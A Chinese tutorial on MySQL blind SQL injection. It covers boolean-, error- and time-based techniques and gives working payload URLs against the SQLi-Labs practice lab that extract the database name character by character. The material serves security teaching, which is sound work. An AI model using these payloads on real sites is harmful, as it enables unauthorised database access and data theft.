Web攻防:SQL注入 - MySQL 盲注

SQL注入 - MySQL 盲注

    • 1. 基于布尔 SQL 盲注
      • 1.1 LEFT() 函数
        • 1.1.1 介绍:
        • 1.1.2 注入语法:
        • 1.1.3 案例 (SQLi-Labs:Less-8)
      • 1.2 ASCII() 函数 + SUBSTR() 函数
        • 1.2.1 介绍:
        • 1.2.2 注入语法:
        • 1.2.3 案例 (SQLi-Labs:Less-8)
      • 1.3 ORD() 函数 + MID() 函数
        • 1.3.1 介绍:
        • 1.3.2 注入语法:
        • 1.3.3 案例 (SQLi-Labs:Less-8)
      • 1.4 REGEXP 正则表达式
        • 1.4.1 介绍:
        • 1.4.2 注入语法:
        • 1.4.3 案例 (SQLi-Labs:Less-8)
      • 1.5 LIKE 操作符
        • 1.4.1 介绍:
        • 1.4.2 注入语法:
        • 1.4.3 案例 (SQLi-Labs:Less-8)
    • 2. 基于报错 SQL 盲注
      • 2.1 extractvalue报错注入
        • 注入语句:
        • 案例 (SQLi-Labs:Less-5)
      • 2.2 updatexml报错注入
        • 注入语句:
        • 案例 (SQLi-Labs:Less-5)
    • 3. 基于时间 SQL 盲注
      • 3.1 IF() + ASCII() + SUBSTR() + SLEEP()
        • 注入语句:
        • 案例 (SQLi-Labs:Less-9)

1. 基于布尔 SQL 盲注

  • 用于报错无错误回显,但与正常返回的数据长度不一致。

1.1 LEFT() 函数

1.1.1 介绍:
  • LEFT()函数是用于从字符串的左边截取指定长度字符的函数。

    LEFT(str, length)
    

    参数:str 示要截取的字符串。
    参数:length 表示要截取的长度。

1.1.2 注入语法:
AND LEFT(DATABASE(),1) = 's'	# DATABASE() -> 当前数据库名称

译:截取当前数据库第一个字符,判断是否等于s

1.1.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:
    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND LEFT(DATABASE(),1) = 's' --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:LEFT(DATABASE(),1) = ‘s’,判断当前数据库名称第一个字符是否为s,是则为True,否则为False。

在这里插入图片描述

1.2 ASCII() 函数 + SUBSTR() 函数

1.2.1 介绍:
  • ASCII() 函数返回特定字符的 ASCII 值。

    ASCII(character)	
    

    参数:character 必需。要为其返回 ASCII 值的字符。 如果输入多个字符,则只返回第一个字符的值

  • SUBSTR() 函数从字符串中提取子字符串(从任意位置开始)。

    注释: SUBSTR() 和 MID() 函数等于 SUBSTRING( )函数。

    SUBSTR(string, start, length)
    OR:
    SUBSTR(string FROM start FOR length)
    

    参数:string 必需。要从中提取的字符串
    参数:start 必需。起始位置。 可以是正数或负数。 如果是正数,则此函数从字符串的开头提取。 如果是负数,此函数从字符串的末尾提取
    参数:length 可选。要提取的字符数。 如果省略,将返回整个字符串(从 start 位置开始)

1.2.2 注入语法:
AND ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115

译:截取当前数据库第一个字符然后转换成ASCII码判断是否等于115

1.2.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115 --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,判断当前数据库名称第一个字符的ASCII码是否为115,是则为True,否则为False。

在这里插入图片描述

1.3 ORD() 函数 + MID() 函数

1.3.1 介绍:
  • ORD() 函数返回特定字符的 ASCII 值。

    ORD(character)	
    

    参数:character 必需。要为其返回 ASCII 值的字符。 如果输入多个字符,则只返回第一个字符的值

  • MID() 函数从字符串中提取子字符串(从任意位置开始)。

注释: MID() 和 SUBSTR() 函数等于 SUBSTRING( )函数。

MID(string, start, length)
OR:
MID(string FROM start FOR length)

参数:string 必需。要从中提取的字符串
参数:start 必需。起始位置。 可以是正数或负数。 如果是正数,则此函数从字符串的开头提取。 如果是负数,此函数从字符串的末尾提取
参数:length 可选。要提取的字符数。 如果省略,将返回整个字符串(从 start 位置开始)

1.3.2 注入语法:
AND ORD(MID((SELECT DATABASE()),1,1)) = 115

译:截取当前数据库第一个字符然后转换成ASCII码判断是否等于115

1.3.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND ORD(MID((SELECT DATABASE()),1,1)) = 115 --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:ORD(MID((SELECT DATABASE()),1,1)) = 115,判断当前数据库名称第一个字符的ASCII码是否为115,是则为True,否则为False。

在这里插入图片描述

1.4 REGEXP 正则表达式

1.4.1 介绍:
  • REGEXP函数是MySQL中用于进行正则表达式匹配的函数。

    expr REGEXP pattern
    

    其中,expr为要匹配的表达式,pattern为正则表达式模式。如果expr符合pattern指定的模式,则返回1;否则返回0。需要注意的是,REGEXP函数是区分大小写的。

  • 基本的正则表达式模式

    在MySQL中,可以使用一些基本的正则表达式模式来定义匹配的规则。以下是一些常见的正则表达式模式:

    • .:代表任意单个字符。
    • *:代表前一个字符可以出现0次或多次。
    • +:代表前一个字符可以出现1次或多次。
    • ^:代表匹配字符串的开始位置。
    • $:代表匹配字符串的结束位置。
1.4.2 注入语法:
AND (SELECT DATABASE() REGEXP '^[a-z]')

译:判断当前数据库名称开头是否是a-z范围内

1.4.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND (SELECT DATABASE() REGEXP '^[a-z]') --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:(SELECT DATABASE() REGEXP ‘^[a-z]’),判断当前数据库名称第一个字符是否为a-z范围内,是则为True,否则为False。

在这里插入图片描述

  • 我们后续只需要更换 REGEXP 表达式即可。

    ‘^[a-z]’ -> ‘^s[a-z]’ -> ‘^se[a-z]’ -> ‘^sec[a-z]’ -> ‘^secu[a-z]’ -> ‘^secur[a-z]’ -> ‘^securi[a-z]’ -> ‘^securit[a-z]’ -> ‘^security[a-z]’ -> FALSE

1.5 LIKE 操作符

1.4.1 介绍:
  • LIKE 运算符在 WHERE 子句中用于搜索列中的指定模式。

    LIKE pattern
    

    pattern 是用于匹配的模式,可以包含通配符。

    • 百分号 (%) 表示零个、一个或多个字符
    • 下划线符号 (_) 代表一个,单个字符
1.4.2 注入语法:
AND (SELECT DATABASE() LIKE 's%')

译:判断当前数据库名称开头是否为s范围内

1.4.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND (SELECT DATABASE() LIKE 's%') --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:(SELECT DATABASE() LIKE ‘s%’),判断当前数据库名称第一个字符是否为s范围内,是则为True,否则为False。

在这里插入图片描述

2. 基于报错 SQL 盲注

  • 用于报错有错误回显。

2.1 extractvalue报错注入

注入语句:
AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)))
案例 (SQLi-Labs:Less-5)
http://www.sqlilabs.kay.com/Less-5/?id=1'  AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))) --+

在这里插入图片描述

2.2 updatexml报错注入

注入语句:
AND (updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1))
案例 (SQLi-Labs:Less-5)
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)) --+

在这里插入图片描述

3. 基于时间 SQL 盲注

  • 用于报错无错误回显,与正常返回的数据长度一致。

3.1 IF() + ASCII() + SUBSTR() + SLEEP()

注入语句:
AND IF(ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,SLEEP(5),0)

译:当 IF 语句为True时,页面返回延时5

案例 (SQLi-Labs:Less-9)
http://www.sqlilabs.kay.com/Less-9/?id=1' AND IF(ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,SLEEP(5),0)--+

在这里插入图片描述

  • 其他判断语句:
    • IF(LENGTH(DATABASE())=8,SLEEP(5),0) 判断数据名称长度是否为8个字符
    • IF((SELECT DATABASE() LIKE 's%'),SLEEP(5),0) 判断数据库名第一个字符是否为s

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/30035.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java——可变参数

一、可变参数 1、介绍 Java的可变参数(Varargs)是一种语法特性,允许一个方法接受不定数量的参数。可变参数的使用通过在参数类型后面添加省略号(...)实现。这使得方法在调用时可以传入不同数量的参数,而不…

Ubuntu20.04用NetworkManager的 nmcli connection modify 连接的名称或UUID 来设置IPV4 笔记240619

用NetworkManager的 nmcli connection modify 连接的名称或UUID ipv4.address 来设置IPV4 用NetworkManager的 nmcli connection modify 连接的名称或UUID ipv4.address 来设置IP 的模板 只设置修改IP 覆盖原有设置: ipv4.addresses或ipv4.addr或ipv4.a NameOrUuidOfConnec…

leetcode 二分查找·系统掌握 统计有序矩阵中的负数

题目: 给你一个 m * n 的矩阵 grid,矩阵中的元素无论是按行还是按列,都以非严格递减顺序排列。 请你统计并返回 grid 中 负数 的数目。 题解: 一种可行的解题思路是找出每一行中负数的个数再相加,又因为每一行单调递…

虚拟存储(Linux挂载点合并)

简介 在 Linux 中你有 3 块硬盘(或分区)分别为 100G、200G 和 300 G,如何在一个统一的路径下访问 600G 的视频文件夹呢?并且任何一个磁盘数据的损坏是不能影响其他两个磁盘中的数据,也不影响其他磁盘的正常访问。 相信大多数用户会想到几种解决办法: 买个更大的硬盘 ̄□ ̄…

Git 克隆 GitHub 仓库时遇到了 SSL 证书问题

fatal: unable to access GitHub - xxxxxxxxxxx: SSL certificate problem: unable to get local issuer certificate 使用 HTTP 代替 HTTPS: 如果 SSL 证书问题无法解决,您可以尝试使用 HTTP 克隆仓库(不推荐,因为不安全)。但请注…

Android device/xxx/system/common/overlay编译产物

MTK 如下代码编译的产物在 framework-res.apk 编译配置文件在device/mediatek/system/common/目录下的Android.bp device/mediatek/system/common/overlay/telephony/frameworks/base/core/res/res/values-mcc655-mnc01/config.xml 在Android U上面还在overlay目录中进行了产…

图像的高频和低频细节

在图像处理和计算机视觉中,"高频"和"低频"是用来描述图像中不同类型细节的术语。这些术语源自信号处理领域,其中频率的概念用于描述信号随时间变化的,但在图像处理中,它们被用来描述图像随空间变化的&#xf…

python是TIOBE编程语言排名第一的编程语言,它有什么优点?它的使用场景有哪些?用python打印数字1--100,用python打印九九乘法表怎么写?

Python是TIOBE编程语言排行榜排名第一的编程语言 。 python是一种解释性、交互式、面向对象的跨平台的语言。 python设计者及名称由来 Guido van Rossum 荷兰人---吉多范罗苏姆,是 Python 编程语言的最初设计者,在 Python 社区一直担当终身仁慈独裁者&…

教你如何安装 IntelliJ IDEA

安装 IntelliJ IDEA 的步骤通常如下,这里提供的是基于 Windows 系统的安装指南。 下载 IntelliJ IDEA 1. 访问 JetBrains 官方网站:[https://www.jetbrains.com/idea/download/](Download IntelliJ IDEA – The Leading Java and Kotlin IDE) 2. 选择适…

vue+echarts实现tooltip轮播

效果图如下: 实现步骤如下: 定义一个定时器 timer:null, len: 0,页面一加载就清空定时器,此操作是为了防止重复加载时会设置多个定时器在setOption后设置定时器 this.myChart.clear() this.myChart.setOption(option); this.autoShowTool…

java 面试题--基础

文章目录 基础java SE 、 EE 、 ME 的区别jdk 和 jre 区别?java 的日志级别基本数据类型 特性关键字finalabstractsuperswitchfortry catch 接口和抽象类的区别接口抽象类适用场景 类的加载循序静态代码块 传参问题访问修饰符运算符 反射java 里的应用为什么反射的性…

禹晶、肖创柏、廖庆敏《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》Chapter 10插图

禹晶、肖创柏、廖庆敏《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》 Chapter 10插图

YOLOv8旋转目标检测Yolov8n-obb详细实例+rolabelimg

一、Yolov8环境搭建 首先创建虚拟环境下载安装(其实就是yolov8的环境)再大概写一下步骤,没有想详细的看本人另外一篇:YOLOv8环境搭建_yolov8环境配置-CSDN博客 1、下载安装anaconda 2、创建虚拟环境 conda create -n my_yolov8…

二分查找算法模板

在算法题中&#xff0c;二分查找是一个很基础的能力&#xff0c;但是很多情况下都有可能因为一些小条件导致整题的错误&#xff0c;所以我们需要学习并记忆正确的写法&#xff0c;本篇列出了三种情况下的写法 闭区间写法 int lower_bound(vector<int> &nums, int ta…

【Gradio】Chatbot | 如何使用 Gradio Blocks 创建自定义聊天机器人

简介 重要提示&#xff1a;如果您刚开始接触&#xff0c;我们建议使用 gr.ChatInterface 来创建聊天机器人——它是一个高级抽象&#xff0c;使得可以快速创建漂亮的聊天机器人应用程序&#xff0c;往往只需一行代码。在这里了解更多信息。 本教程将展示如何使用 Gradio 的低级…

vue3中实现3D地图——three.js

需求点 地图区域大小随着父盒子大小变动&#xff0c;窗口缩放自动适配每个区域显示不同颜色和高度&#xff0c;描边每个区域显示名字label和icon点击区域改变其透明度&#xff0c;并且弹窗显示信息窗口点击点也可以可以自由放大缩小&#xff0c;360度旋转 包 npm install d3^…

单链表的插入及销毁

分数 5 作者 李卫明 单位 杭州电子科技大学 1.1编写程序&#xff0c;建立2个带头结点单链表&#xff0c;输入若干整数将正整数插入第1个单链表&#xff0c;将负整数插入第2个单链表&#xff0c;插入前和插入后单链表保持递增或相等次序&#xff0c;显示2个单链表&#xff0c…

背景渐变动画登录页

b站视频演示效果: 效果图: 完整代码: <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>背景…

Python基础-函数

Python函数 函数是组织好的&#xff0c;可重复使用的&#xff0c;用来实现单一&#xff0c;或相关联功能的代码段。 函数能提高应用的模块性&#xff0c;和代码的重复利用率。你已经知道Python提供了许多内建函数&#xff0c;比如print()。但你也可以自己创建函数&#xff0c…

大模型商业化:李开复向左,张亚勤向右

文&#xff5c;白 鸽 “零一万物坚决做To C&#xff0c;不做赔钱的To B&#xff0c;要做能赚钱的To B。”2024年6月14日&#xff0c;在智源大会上&#xff0c;零一万物创始人李开复如此坚定地说道。 而与之相对&#xff0c;中国工程院院士、清华大学智能产业研究院&…